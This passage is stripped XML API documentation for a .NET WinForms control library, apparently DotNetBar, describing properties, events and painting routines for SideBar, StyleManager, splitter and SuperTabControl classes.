in SerializeItem event. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Gets or sets visual appearance for the control. + + + + + Gets or sets whether flat side bar is using system colors. + + + This property is used internally by side bar to determine whether to reset color scheme based on system colors. + If you want side bar to use system colors you need to set PredefinedColorScheme property. + + + + + Gets or sets Bar Color Scheme. + + + + + Gets/Sets the visual style of the SideBar. + + + + + Specifies whether SideBar is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Occurs after internal item layout has been updated and items have valid bounds assigned. + + + + + Returns the collection of side-bar Panels. + + + + + Gets or sets the expanded panel. Only one panel can be expanded at a time. + + + + + Gets or sets the form SideBar is attached to. + + + + + Gets or sets whether end-user can rearrange the items inside the panels. + + + + + Gets or sets whether native .NET Drag and Drop is used by side-bar to perform drag and drop operations. AllowDrop must be set to true to allow drop of the items on control. + + + + + Gets or sets whether external ButtonItem object is accepted in drag and drop operation. UseNativeDragDrop must be set to true in order for this property to be effective. + + + + + Gets or sets whether gray-scale algorithm is used to create automatic gray-scale images. Default is true. + + + + + ImageList for images used on Items. Images specified here will always be used on menu-items and are by default used on all Bars. + + + + + ImageList for medium-sized images used on Items. + + + + + ImageList for large-sized images used on Items. + + + + + Indicates whether Tooltips are shown on Bars and menus. + + + + + Indicates whether item shortcut is displayed in Tooltips. + + + + + Indicates whether Reset buttons is shown that allows end-user to reset the toolbar state. + + + + + Returns the reference to the container that containing the sub-items. + + + + + Gets/Sets control border style. + + + + + Gets whether any handlers have been defined for SerializeItem event. If no handles have been defined to optimize performance SerializeItem event will not be attempted to fire. + + + + + Gets whether any handlers have been defined for DeserializeItem event. If no handles have been defined to optimize performance DeserializeItem event will not be attempted to fire. + + + + + Gets/Sets Bar definition as XML string. + + + + + Indicates whether shortucts handled by items are dispatched to the next handler or control. + + + + + Represents the method that will handle the ItemRemoved event. + + + + + Provides layout for Side-Bar control. + + + + + Creates new instance of SideBarContainerItem class. + + + + + Returns copy of SideBarContainerItem item + + + + + Recalculates the size of the item + + + + + Paints this base container + + + + + Occurs when sub item expanded state has changed. + + Sub item affected. + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Sets input focus to next visible item in Explorer Bar. + + True if focus was set to next visible item otherwise false. + + + + Sets input focus to previous visible item in Explorer Bar. + + True if focus was set to previous visible item otherwise false. + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Summary description for SideBarPanelControl. + + + + + Represents the Side-Bar Panel item. + + + + + Creates new instance of SideBarPanelItem. + + + + + Creates new instance of SideBarPanelItem and assigns the name to it. + + Item name. + + + + Creates new instance of SideBarPanelItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of SideBarPanelItem item. + + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Occurs when the mouse pointer is moved over the item. This is used by internal implementation only. + + + + + Occurs when the mouse pointer is over the item and a mouse button is pressed. This is used by internal implementation only. + + + + + Occurs when the item is clicked. This is used by internal implementation only. + + + + + Overloaded. Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + Overloaded. Deserializes the Item from the XmlElement. + + Source XmlElement. + + + + Shows tooltip for this item. + + + + + Forces the repaint the item. + + + + + Must be called by any sub item that implements the image when image has changed + + + + + Gets whether mouse is over the panel header. + + + + + Gets whether mouse is pressed over the panel header. + + + + + Specifies panel title text alignment. Default value is Center. + + + + + Gets or sets the layout type for the items. Default layout orders items in a single column. Multi-column layout will order + items in multiple colums based on the width of the control. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the item background style. + + + + + Gets or sets the item header style. Applies only when SideBar.Appearance is set to Flat. + + + + + Gets or sets the item header style when mouse is over the header. Applies only when SideBar.Appearance is set to Flat. + + + + + Gets or sets the item header style when left mouse button is pressed on header. Applies only when SideBar.Appearance is set to Flat. + + + + + Gets or sets the item header side style. Applies only when SideBar.Appearance is set to Flat. + + + + + Gets or sets the item header side style when mouse is over the header. Applies only when SideBar.Appearance is set to Flat. + + + + + Gets or sets the item header side style when left mouse button is pressed on header. Applies only when SideBar.Appearance is set to Flat. + + + + + Gets or sets whether the font used to draw the item text is bold. + + + + + Gets or sets whether the font used to draw the item text is bold when mouse is over the item. + + + + + Gets or sets whether the font used to draw the item text is underlined when mouse is over the item. + + + + + Gets or sets the text color of the button when mouse is over the item. + + + + + Gets or sets the text color of the button. + + + + + Gets/Sets the Image size for all sub-items on the Bar. + + + + + Gets the rectangle of the panel item Button. + + + + + Gets or sets the index of the first visible item on the panel. + + + + + Gets or sets a value that determines whether text is displayed in multiple lines or one long line. + This setting applies to the buttons inside Panel as well. + + + + + Gets or sets whether scroll buttons are displayed when content of the panel exceeds it's height. + + + + + Specifies the Button icon. Icons support multiple image sizes and alpha blending. + + + + + Specifies the Button image. + + + + + Specifies the index of the image for the button if ImageList is used. + + + + + Specifies the image for the button when mouse is over the item. + + + + + Specifies the index of the image for the button when mouse is over the item when ImageList is used. + + + + + Specifies the image for the button when mouse left button is pressed. + + + + + Specifies the index of the image for the button when mouse left button is pressed and ImageList is used. + + + + + Represents class that provide display support for simple tabs. + + + + + Default constructor. + + + + + Provides layout management for ISimpleTab tab implementations. + + + + + Resizes the content block and sets it's Bounds property to reflect new size. + + Content block to resize. + + + + Represents painter for Mozilla style splitter. + + + + + Base class for painting expandable splitter control. + + + + + Default constructor. + + + + + Paints splitter. + + Paint information. + + + + Creates new instance of splitter painter. + + + + + Paints splitter. + + Paint information. + + + + Represents painter for Office 2003 style splitter. + + + + + Creates new instance of splitter painter. + + + + + Paints splitter. + + Paint information. + + + + Represents class that holds information neccessary to paint the expandable splitter. + + + + + Specifies reference to graphics canvas. + + + + + Specifies splitter display rectangle. + + + + + Holds color settings for painting. + + + + + Specifies whether splitter is expandable or not. + + + + + Specifies whether splitter is expanded or not. + + + + + Specifies the splitter dock. + + + + + Represents class that holds colors for the splitter display. + + + + + Specifies back color. + + + + + Specifies target gradient background color. + + + + + Specifies background gradient angle. + + + + + Specifies grip part dark color. + + + + + Specifies grip part light color. + + + + + Specifies expand part line color. + + + + + Specifies expand part fill color. + + + + + Initializes a new instance of the StyleManager class. + + + + + Initializes a new instance of the StyleManager class with the specified container. + + An IContainer that represents the container for the command. + + + + Updates Ambient colors for control and its child controls. + + + + + + Updates ambient colors for the control and its children. + + + + + + Gets whether property should be serialized by WinForms designer. + + + + + Resets property to its default value. + + + + + Changes the StyleManager style and color tint in one step. Use this method if you need to change style and color tint simultaneously in single step for better performance. + + New style. + Color tint for the style. + + + + Registers control with the StyleManager so control can be notified of global style changes. + + Control to register with the StyleManager. + + + + Unregister the control from StyleManager notifications. + + Control that was registered through Register method. + + + + Returns whether style is a Metro type style. + + style to test. + true if Metro type style otherwise false. + + + + Returns whether style is a Metro type style. + + style to test. + true if Metro type style otherwise false. + + + + Returns whether style is a Metro type style. + + style to test. + true if Metro type style otherwise false. + + + + Gets or sets the global style for the controls that have Style=ManagerControlled. + + + + + Gets or sets the color current style is tinted with. + + + + + Gets previous effective style. + + + + + Gets or sets color generation parameters for Metro color generator. + + + + + Gets or sets color generation parameters for Metro color generator. + + + + + Gets or sets the current visual style. + + + + + Gets or sets the color tint that is applied to current Office 2007, Office 2010 or Windows 7 color table. + Default value is Color.Empty which indicates that no color blending is performed. + + + + + Defines the StyleManager styles. + + + + + Manages whether ambient property settings (BackColor, ForeColor etc.) are applied to child controls of the form when StyleManager component changes style. + + + + + Initializes a new instance of the StyleManagerAmbient class. + + + + + Initializes a new instance of the StyleManagerAmbient class with the specified container. + + An IContainer that represents the container for the command. + + + + Gets ambient settings StyleManager is allowed to change on the control. + + + + + Sets the ambient settings StyleManager is allowed to change on component. + + Reference to supported component. + Ambient settings that StyleManager may change. + + + + Specifies ambient settings enabled on the control for StyleManager. + + + + + All ambient settings are allowed to change. + + + + + StyleManager cannot change ambient settings. + + + + + StyleManager should process child controls. + + + + + StyleManager should change BackColor. + + + + + StyleManager should change ForeColor. + + + + + Constructor + + Associated SuperTabItem + + + + Paint processing + + + + + + Gets the default tab ContentRectangle + + Rectangle + + + + Gets the tab ContentRectangle + + Rectangle + + + + Gets the tab path + + GraphicsPath + + + + Sets the default color tables + + + + + Gets the tab ColorTable + + ColorTable + + + + Gets the tab state + + eTabState + + + + Gets the tab panel Color Table + + Color Table + + + + Draws the tab background + + Graphics + Tab path + StateColorTable + + + + Draws the tab border + + Graphics + Tab path + Color table + + + + Draws the tab contents + + Graphics + State color table + + + + Draws the tab image + + Graphics + + + + Draws the tab text + + + + + + + Draws the tab close button + + Graphics + State color table + + + + Sets the GraphicsTransform for the given alignment + and Horizontal text setting + + Graphics + Rectangle to transform + Transformed rectangle + + + + Resets out transform + + Graphics + + + + Gets the focus rectangle + + + + + + + Gets the tab close button bitmap + + Graphics + State color table + Button bitmap + + + + Creates the close button bitmap + + Graphics + State color table + Close bitmap + + + + Gets the hot close button bitmap + + Graphics + Close bitmap + + + + Creates the hot button bitmap + + Graphics + Close bitmap + + + + Gets the pressed close button bitmap + + Graphics + Close bitmap + + + + Creates the pressed button bitmap + + Graphics + Close bitmap + + + + Gets the close button path + + Close rectangle + Corner radius + + + + + Gets or sets the default item ColorTable + + + + + Constructor for Office2007 style SuperTabItem base display + + Associated SuperTabItem + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + Constructor + + Associated SuperTabStripItem + + + + Handles ContentManager NextPosition events + + + + + + + Handles RecalcSize requests + + + + + + Handles RecLayoutContent requests + + + + + Initializes the layout engine + + + + + + Performs the Recalc Layout + + + + + + Recalculates the bounds for the TabControlBox + + + + + + + Gets the tab client area + + + + + + Gets the tab client area + + + + + + Gets the tab height + + + + + + Layout manager NextBlockPosition + + + + + + PromoteTab NextBlockPosition + + + + + + + + Determines if all tabs are visible + + + + + + Paint processing + + + + + + Draws the background + + + + + + + Draws the tabs + + + + + + Draws the Drag and Drop insert marker + + ItemPaintArgs + Color table + + + + Draws the top insert marker + + + + + + Draws the left insert marker + + + + + + Determines if the given items are on the same line + + + + + + + + Draws the TabStrip border + + + + + + + Gets the inner and outer border lines + + + + + + + Sets the default color table + + + + + Gets the tab color table + + Tab color table + + + + Gets the tab close button bitmap + + + + + + + + Creates the tab close button bitmap + + + + + + + Gets the Menu button bitmap + + + + + + + + Create the Menu button bitmap + + + + + + + Gets the Menu button path + + + + + + Gets the Menu button bitmap + + + + + + + + Create the Menu button bitmap + + + + + + + Gets the Menu button path + + + + + + Gets the TabAlignment + + + + + gets or sets the default color table + + + + + Gets if display is RightToLeft + + + + + Gets tab vertical orientation + + + + + Gets the minimum TabStrip height + + + + + Gets whether we are to show the Focus rectangle + + + + + Gets CloseButtonOnTabsVisible + + + + + Gets FixedTabSize + + + + + Gets the minimum tab size + + + + + Gets the selected tab + + + + + Gets the selected font + + + + + Gets the tab ControlBox + + + + + Gets the tab height + + + + + Gets the tab bounds + + + + + Gets the Tabs collection + + + + + Gets the TabStrip + + + + + Gets the TabStripItem + + + + + Gets the PreDrawStripBorder state + + + + + Gets the SelectedPaddingWidth + + + + + Gets the TabOverlap + + + + + Gets the TabSpacing + + + + + Gets the TabOverlapLeft + + + + + Gets the TabLayoutOffset + + + + + Office2007 TabStrip base display constructor + + Associated TabStrip + + + + Tab layout offsets + + + + + Office 2010 Backstage SuperTabItem display constructor + + Associated SuperTabItem + + + + Draws the tab border + + + + + + + + Draws the Backstage SelectedItem marker + + + + + + + DrawTabItemBackground + + + + + + + + DrawTabItemHighLight + + + + + + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + Gets the Layout manager NextBlockPosition + + + + + + Gets the "PromoteSelTab" NextBlockPosition + + + + + + + + Draws the background + + + + + + + PreDrawStripBorder + + + + + SelectedPaddingWidth + + + + + Constructor for OfficeMobile2014 style SuperTabItem base display + + Associated SuperTabItem + + + + Calculates the Content Rectangle for the tab + + Content Rectangle + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + OfficeMobile2014 SuperTabStripBaseDisplay + + Associated TabStripItem + + + + Gets the next layout block position + + LayoutManagerPositionEventArgs + + + + Gets the next block position when attempting + to make a specific tab visible + + Potential item to replace + View item being placed + Block Rectangle + + + + Returns the Minimum tab size for this style + + + + + Tab layout offsets + + + + + Tab Overlap + + + + + Tab Spacing + + + + + Constructor for OneNote2007 style SuperTabItem base display + + Associated SuperTabItem + + + + Calculates the Content Rectangle for the tab + + Content Rectangle + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + OneNote2007 SuperTabStripBaseDisplay + + Associated TabStripItem + + + + Gets the next layout block position + + LayoutManagerPositionEventArgs + + + + Gets the next block position when attempting + to make a specific tab visible + + Potential item to replace + View item being placed + Block Rectangle + + + + Returns the Minimum tab size for this style + + + + + Tab Overlap + + + + + Tab Spacing + + + + + Constructor + + Associated SuperTabControlBox + + + + Performs RecalcSize processing + + + + + Refreshes the CloseBox + + + + + Performs control Paint processing + + + + + + InternalMouseEnter + + + + + InternalMouseLeave + + + + + InternalMouseDown + + + + + + InternalMouseUp + + + + + + Returns copy of the item + + + + + Gets or sets the CloseBox Visible state + + + + + Gets whether the mouse is down + + + + + Gets whether the mouse is over the CloseBox + + + + + Constructor + + Associated SuperTabStripItem + + + + Performs RecalcSize processing + + + + + Performs RecalcLayout processing + + + + + Performs individual running layout processing for the given BaseItem + + Item to Layout + Running Layout Size + Whether a recalcSize is needed + New running Size + + + + Refresh code + + + + + Paint processing + + + + + + InternalMouseEnter + + + + + InternalMouseLeave + + + + + InternalMouseMove + + + + + + InternalMouseDown + + + + + + InternalMouseUp + + + + + + Gets the ControlBoxItem from the given Point + + + + + + + OnItemAdded + + + + + + OnAfterItemRemoved + + + + + + Removes all user added items from the ControlBox + + + + + Returns copy of the item. + + + + + Gets or sets the ControlBox Bounds + + + + + Gets the CloseBox + + + + + Gets the MenuBox + + + + + Gets or sets the ControlBox Visible state + + + + + Gets the MouseDown state + + + + + Gets the MouseOver state + + + + + Gets the TabStrip TabDisplay + + + + + Constructor + + Associated SuperTabControlBox + + + + RecalcSize + + + + + Refreshes the display + + + + + Paint processing + + + + + + Determines if all the items are visible + + true if all visible + + + + Gets MenuButton1 + + + + + + + + Gets MenuButton2 + + + + + + + + InternalMouseEnter + + + + + InternalMouseLeave + + + + + InternalMouseDown + + + + + + Gets the popup menu position + + + + + + Loads the TabMenu + + + + + Loads Tabs only into the TabMenu + + + + + + Loads all items into the TabMenu + + + + + + Sets the TabMenu entry image + + + + + + + Handles SuperTabMenuBox_Click event + + + + + + + InternalMouseUp + + + + + + Returns copy of the item. + + + + + Gets or sets whether the MenuBox is automatically hidden when the tab items size does not exceed the size of the control + + + + + Gets or sets whether the MenuBox raises a ClickEvent when selected + + + + + Gets or sets whether MenuBox shows only Tabs entries + + + + + Gets or sets whether the MenuBox displays each menu entry with its associated Image/Icon + + + + + Gets or sets MenuBox Visible state + + + + + Gets the MouseDown state + + + + + Gets the MouseOver state + + + + + Constructor + + + + + Sets the tab docking based upon the given alignment + + + + + + Hooks (or unhooks) underlying TabStrip events + + true to hook, false to unhook + + + + Handles TabItemOpen events + + + + + + + Handles TabItemClose events + + + + + + + Handles TabMoving events + + + + + + + Handles TabMoved events + + + + + + + Handles TabRemoved events + + + + + + + Handles SelectedTabChanging events + + + + + + + Handles SelectedTabChanged events + + + + + + + Handles GetTabItemPath events + + + + + + + Handles GetTabItemContentRectangle events + + + + + + + Handles BeforeTabDisplay events + + + + + + + Handles MeasureTabItem events + + + + + + + Handles PreRenderTabItem events + + + + + + + Handles PostRenderTabItem events + + + + + + + Handles GetTabCloseBounds events + + + + + + + Handles GetTabImageBounds events + + + + + + + Handles GetTabTextBounds events + + + + + + + Handles TabStripPaintBackground events + + + + + + + Handles StyleManagerStyleChanged events + + + + + + Handles TabStripTabColorChanged events + + + + + + + Handles TabStrip_MouseUp events + + + + + + + Handles TabStrip_MouseDown events + + + + + + + Handles TabStrip_MouseMove events + + + + + + + Handles TabStrip_MouseClick events + + + + + + + Handles TabStrip_MouseDoubleClick events + + + + + + + Handles TabStrip_MouseEnter events + + + + + + + Handles TabStrip_MouseHover events + + + + + + + Handles TabStrip_MouseLeave events + + + + + + + Creates a TabControl tab + + + + + + + Creates a TabControl tab + + + + + + + + Creates a TabControl tab + + + + + + + + + Selects the previous tab + + true if tab selected + + + + Selects the next tab + + true if tab selected + + + + Gets the SuperTabItem tab containing the given Point + + Point to test + Associated tab, or null + + + + Gets the item (SuperTabItem or BaseView) associated + with the given Point + + Point to test + BaseItem or null + + + + Closes the given tab + + + + + + Causes a Layout Recalculation of the SuperTabControl + + + + + Refreshes all panel styles + + + + + Applies color and border settings to the given panel + + + + + + Applies color settings to the given panel + + + + + + + Applies border settings for the given panel + + + + + + Performs OnSystemColorsChanged processing + + + + + + Performs OnResize processing + + + NOT NEEDED. Let WinForms layout do the work! + + + + OnControlAdded + + + + + + OnControlRemoved + + + + + + BeginInit + + + + + EndInit + + + + + Occurs when a tab is added to the Tabs collection + + + + + Occurs when a tab is about to Close + + + + + Occurs when a tab is removed from the Tabs collection + + + + + Occurs when a tab is about to be displayed + + + + + Occurs when a tab is being moved or dragged by the user + + + + + Occurs when a tab has been moved or dragged by the user + + + + + Occurs when the Selected tab is changing + + + + + Occurs when the Selected tab has changed + + + + + Occurs when the control needs a tab's bordering path + + + + + Occurs when the control needs a tab's Content Rectangle + + + + + Occurs when the control needs to measure a tab + + + + + Occurs before any tab rendering is done + + + + + Occurs After all tab rendering is complete + + + + + Occurs when the control needs to get the tab's Text Bounds + + + + + Occurs when the control needs to get the tab's Image Bounds + + + + + Occurs when the control needs to get the tab's Close Button Bounds + + + + + Occurs when the TabStrip background needs painted + + + + + Occurs when a TabStrip MouseUp event is raised + + + + + Occurs when a TabStrip MouseDown event is raised + + + + + Occurs when a TabStrip MouseMove event is raised + + + + + Occurs when a TabStrip MouseClick event is raised + + + + + Occurs when a TabStrip MouseDoubleClick event is raised + + + + + Occurs when a TabStrip MouseEnter event is raised + + + + + Occurs when a TabStrip MouseHover event is raised + + + + + Occurs when a TabStrip MouseLeave event is raised + + + + + Gets or sets whether TabStrip will get focus when Tab key is used. Default value is false. + + + + + Gets or sets whether tabs are automatically closed when a close button is clicked + + + + + Gets or sets whether the tab's visible close button is displayed for every tab state + + + + + Gets or sets whether close button is visible on each tab + + + + + Gets or sets the position of the tab close button + + + + + Gets or sets the custom tab Close button image + + + + + Gets or sets the custom Close button image that is used on tabs when the mouse is over the close button + + + + + Gets or sets the custom Close button image that is used on tabs when the button has been pressed + + + + + Gets the TabStrip ControlBox + + + + + Gets or sets whether the only Text displayed is for the SelectedTab + + + + + Gets or sets whether text is drawn horizontally regardless of tab orientation + + + + + Gets or sets the default alignment of the Image within the tab + + + + + Gets or sets the ImageList used by the TabStrip and its tab items + + + + + Gets or sets BaseItem tab padding in pixels. + + + + + Gets or sets whether vertical tab text is rotated 180 degrees + + + + + Gets or sets the SelectedTab based upon the given panel + + + + + Gets or sets whether a focus rectangle is displayed when tab has input focus + + + + + Gets or sets the fixed tab size in pixels. Either Height, Width, or both can be set + + + + + Gets or sets whether a tab is currently in a drag operation + + + + + Gets or sets whether tabs can be reordered through the user interface + + + + + Gets or sets the selected tab + + + + + Gets or sets the selected tab Font + + + + + Gets or sets the index of the selected tab + + + + + Gets or sets the tab alignment within the Tab-Strip control + + + + + Gets or sets the tab Font + + + + + Gets or sets the Horizontal spacing around tab elements + + + + + Gets or sets the type of the tab layout + + + + + Gets the collection of Tabs + + + + + Gets the control TabStrip + + + + + Gets or sets the Color of the TabStrip + + + + + Gets or sets the tab style + + + + + Gets or sets the Vertical spacing around tab elements + + + + + Gets or sets whether tabs are visible + + + + + Gets or sets tab text alignment + + + + + Gets the DefaultSize + + + + + Indicates whether Form.Validate is called and checked before selected tab is changed. Default value is true. + + + + + Represents Panel for the SuperTabControl + + + + + + _PanelColor_ColorTableChanged + + + + + + + Processes ColorTable changes + + + + + GetStyle + + + + + + Provides OnPaint support + + + + + + Occurs when the tab colors have changed + + + + + Gets or sets which edge of the parent container a control is docked to. + + + + + Gets or sets user specified tab panel display colors + + + + + Gets or sets the Panel ElementStyle + + + + + Gets or sets TabItem that this panel is attached to. + + + + + Specifies background image position when container is larger than image. + + + + + Constructor + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Symbol property has changed. + + Old property value + New property value + + + + Called when SymbolSet property value changes. + + Indciates old value + Indicates new value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when SymbolSize property has changed. + + Old property value + New property value + + + + Hooks or unhooks control events + + true to hook + + + + SuperTabItem_TextChanged processing + + + + + + + TextMarkupLinkClick + + + + + + + OnMarkupLinkClick + + + + + + ColorTable_ColorTableChanged + + + + + + + Processes ColorTable changes + + + + + Closes the tab + + + + + Gets the operational tab font + + + + + + Gets the tab ColorTable + + SuperTabItemStateColorTable + + + + Gets the tab ColorStateTable for the given state + + eTabState + SuperTabItemStateColorTable + + + + Gets the tab Panel ColorTable + + + + + + Gets the area of the tab that contains the given Point + + + + + + + Determines if the given Point is in the tab + + Point to test + true if Point is in tab + + + + Gets the tab bordering GraphicsPath + + GraphicsPath + + + + Gets the Close Button bounding Rectangle + + Bounding Rectangle + + + + Gets the Image bounding Rectangle + + Bounding Rectangle + + + + Gets the Text bounding Rectangle + + Bounding Rectangle + + + + Calculates Close button bounds + + Running rectangle + Running rectangle + + + + Calculates Image bounds + + Running rectangle + Running rectangle + + + + Refreshes the tab owner + + + + + Refreshes the tab display + + + + + Paint processing + + + + + + InternalMouseMove + + + + + + InternalMouseEnter + + + + + InternalMouseLeave + + + + + InternalMouseDown + + + + + + InternalMouseUp + + + + + + ToString + + + + + + Dispose + + + + + Returns copy of the item. + + + + + Copies specific properties to new instance of the item. + + New SuperTabItem instance + + + + Occurs when text markup link is clicked + + + + + Occurs when the tab colors have changed + + + + + IsMarkupSupported + + + + + Gets or sets the default SelectedTabFont + + + + + Gets the tab CloseButton Bounds + + + + + Gets or sets the CloseButtonMouseOver state + + + + + Gets or sets the CloseButtonPressed state + + + + + Gets the effective image alignment + + + + + Gets the tab Image Bounds + + + + + Gets the tabs vertical orientation + + + + + Gets the TabItemDisplay + + + + + Gets the tabs TabStrip + + + + + Gets the tabs Text Bounds + + + + + Gets or sets whether image animation is enabled + + + + + Gets or sets user specified tab display colors + + + + + Gets or sets whether Close button on the tab is visible when SuperTabStrip.CloseButtonOnTabsVisible property is set to true + + + + + Enabled + + + + + Gets or sets whether text-markup support is enabled for the control's Text property + + + + + Gets or sets the FixedTabSize + + + + + Gets or sets the tab icon. Icon has same functionality as Image except that it supports Alpha blending + + + + + Gets or sets the tab image + + + + + Gets or sets the tab image index + + + + + Gets or sets the alignment of the Image within the tab + + + + + Gets or sets the spacing between content and edges of the Image + + + + + Gets or sets the predefined color for the tab + + + + + Gets or sets the selected tab Font + + + + + Gets the realized symbol string. + + + + + Indicates the symbol displayed on face of the button instead of + the image. Setting the symbol overrides the image setting. + + + + + Gets or sets the symbol set used to represent the Symbol. + + + + + Gets or sets the color of the Symbol. + + + + + Indicates the size of the symbol in points. + + + + + Gets or sets the text alignment + + + + + Gets or sets the tab Font + + + + + Gets or sets the tab text + + + + + Gets or sets the control that is attached to this tab + + + + + Gets or sets the tab Bounds + + + + + Gets the MouseOver state + + + + + Gets the tab selected state + + + + + Gets the tab alignment + + + + + Gets the tab Content Rectangle + + + + + Gets or sets the tab TabStripItem + + + + + Gets or sets the tabs TabStyle + + + + + Visible + + + + + Alignment + + + + + + + + + TopLeft + + + + + TopCenter + + + + + TopRight + + + + + MiddleLeft + + + + + MiddleCenter + + + + + MiddleRight + + + + + BottomLeft + + + + + BottomCenter + + + + + BottomRight + + + + + Tab area parts + + + + + Tab states + + + + + Constructor + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + ShowWithoutActivation + + + + + Constructor + + + + + Hooks or unhooks TabStripItem events + + true to hook + + + + TabStripItem_TabItemOpen + + + + + + + TabStripItem_TabItemClose + + + + + + + TabStripItem_TabRemoved + + + + + + + TabStripItem_TabMoving + + + + + + + TabStripItem_TabMoved + + + + + + + TabStripItem_GetTabItemPath + + + + + + + TabStripItem_GetTabItemContentRectangle + + + + + + + TabStripItem_BeforeTabDisplay + + + + + + + TabStripItem_MeasureTabItem + + + + + + + TabStripItem_PreRenderTabItem + + + + + + + TabStripItem_PostRenderTabItem + + + + + + + TabStripItem_GetTabCloseBounds + + + + + + + TabStripItem_GetTabImageBounds + + + + + + + TabStripItem_GetTabTextBounds + + + + + + + TabStripItem_TabStripPaintBackground + + + + + + + TabStripItem_SelectedTabChanging + + + + + + + TabStripItem_SelectedTabChanged + + + + + + + TabStripItem_TabStripTabColorChanged + + + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Performs layout recalculation + + + + + Ensures that the given tab is visible on the TabStrip + + + + + + Gets the SuperTabItem from the given Point + + + SuperTabItem or null + + + + Gets the BaseItem from the given Point + + + BaseItem or null + + + + Closes the given tab + + + + + + Selects the previous tab + + true if successful + + + + Selects the next tab + + true if successful + + + + OnResize processing + + + + + + BeginInit + + + + + EndInit + + + + + Occurs when a tab is added to the Tabs collection + + + + + Occurs when a tab is about to Close + + + + + Occurs when a tab is removed from the Tabs collection + + + + + Occurs when a tab is about to be displayed + + + + + Occurs when a tab is being moved or dragged by the user + + + + + Occurs when a tab has been moved or dragged by the user + + + + + Occurs when the Selected tab is changing + + + + + Occurs when the Selected tab has changed + + + + + Occurs when the control needs a tab's bordering path + + + + + Occurs when the control needs a tab's Content Rectangle + + + + + Occurs when the control needs to measure a tab + + + + + Occurs before any tab rendering is done + + + + + Occurs After all tab rendering is complete + + + + + Occurs when the control needs to get the tab's Text Bounds + + + + + Occurs when the control needs to get the tab's Image Bounds + + + + + Occurs when the control needs to get the tab's Close Button Bounds + + + + + Occurs when the TabStrip background needs painted + + + + + Occurs when the TabStrip TabColor has changed + + + + + Gets or sets whether the control attached to the TabItem.AttachedControl property + is automatically selected when TabItem becomes the selected tab. Default value is true. + + + + + Gets or sets whether tabs are automatically closed when a close button is clicked + + + + + Gets or sets whether the tab's visible close button is displayed for every tab state + + + + + Gets or sets whether close button is visible on each tab + + + + + Gets or sets the position of the tab close button + + + + + Gets or sets the custom tab Close button image + + + + + Gets or sets the custom Close button image that is used on tabs when the mouse is over the close button + + + + + Gets or sets the custom Close button image that is used on tabs when the button has been pressed + + + + + Gets the TabStrip ControlBox + + + + + Gets or sets whether the only Text displayed is for the SelectedTab + + + + + Gets or sets the default alignment of the Image within the tab + + + + + Gets or sets BaseItem tab padding in pixels. + + + + + Gets or sets whether vertical tab text is rotated 180 degrees + + + + + Gets or sets the fixed tab size in pixels. Either Height, Width, or both can be set + + + + + Gets or sets whether a tab is currently in a drag operation + + + + + Gets or sets whether tabs can be reordered through the user interface + + + + + Gets or sets the selected tab + + + + + Gets or sets the selected tab Font + + + + + Gets or sets the index of the selected tab + + + + + Gets or sets the tab alignment within the Tab-Strip control + + + + + Gets or sets the tab Font + + + + + Gets or sets the Horizontal spacing around tab elements + + + + + Gets or sets the type of the tab layout + + + + + Gets the collection of Tabs + + + + + Gets or sets the Color of the TabStrip + + + + + Gets or sets the tab style + + + + + Gets or sets the Vertical spacing around tab elements + + + + + Gets the TabStrip associated TabStripItem + + + + + Gets or sets tab text alignment + + + + + Gets whether the tabStrip is visually available + + + + + Gets the Design state for the control + + + + + Gets the ISupportInitialize state + + + + + Gets the TabDisplay + + + + + Gets or sets the reference to ribbon application button when tab control is used as backstage ribbon control. + + + + + Gets the DefaultSize + + + + + Constructor + + Associated SuperTabStrip + + + + Syncs the Orientation of each SubItem to + the current TabAlignment Orientation + + + + + Gets the Orientation based upon the current + TabAlignment + + + + + + Makes sure all newly added items + are set to the design orientation and style + + + + + + Applies the current TabStyle to each tab and + sets the item style to the DotNetBarStyle from the TabStyle + + + + + Gets the DotNetBarStyle from the SuperTabStyle + + eDotNetBarStyle + + + + Hooks or unhooks our events + + + + + + Handles SubItemsChanged events + + + + + + + Handles newly added items + + + + + + Handles newly removed items + + + + + + Handles tab color changes + + + + + + + Handles color table changes + + + + + + + Performs NeedRecalcSize and refresh + + + + + Recalculates the size of the tabs. + + + + + Ensures that the given item is visible on the TabStrip + + + + + + Selects the given tab + + + + + + + Selects the previous tab + + + + + + Selects the previous tab + + + + + + Selects the next tab + + + + + + Selects the next tab + + + + + + UpdateSelectedTab + + + + + OnTabStyleChanged + + + + + OnMeasureTabItem + + + + + + + + + OnPreRenderTabItem + + + + + + + + OnPostRenderTabItem + + + + + + + OnGetTabItemContentRectangle + + + + + + + OnGetTabItemPath + + + + + + + 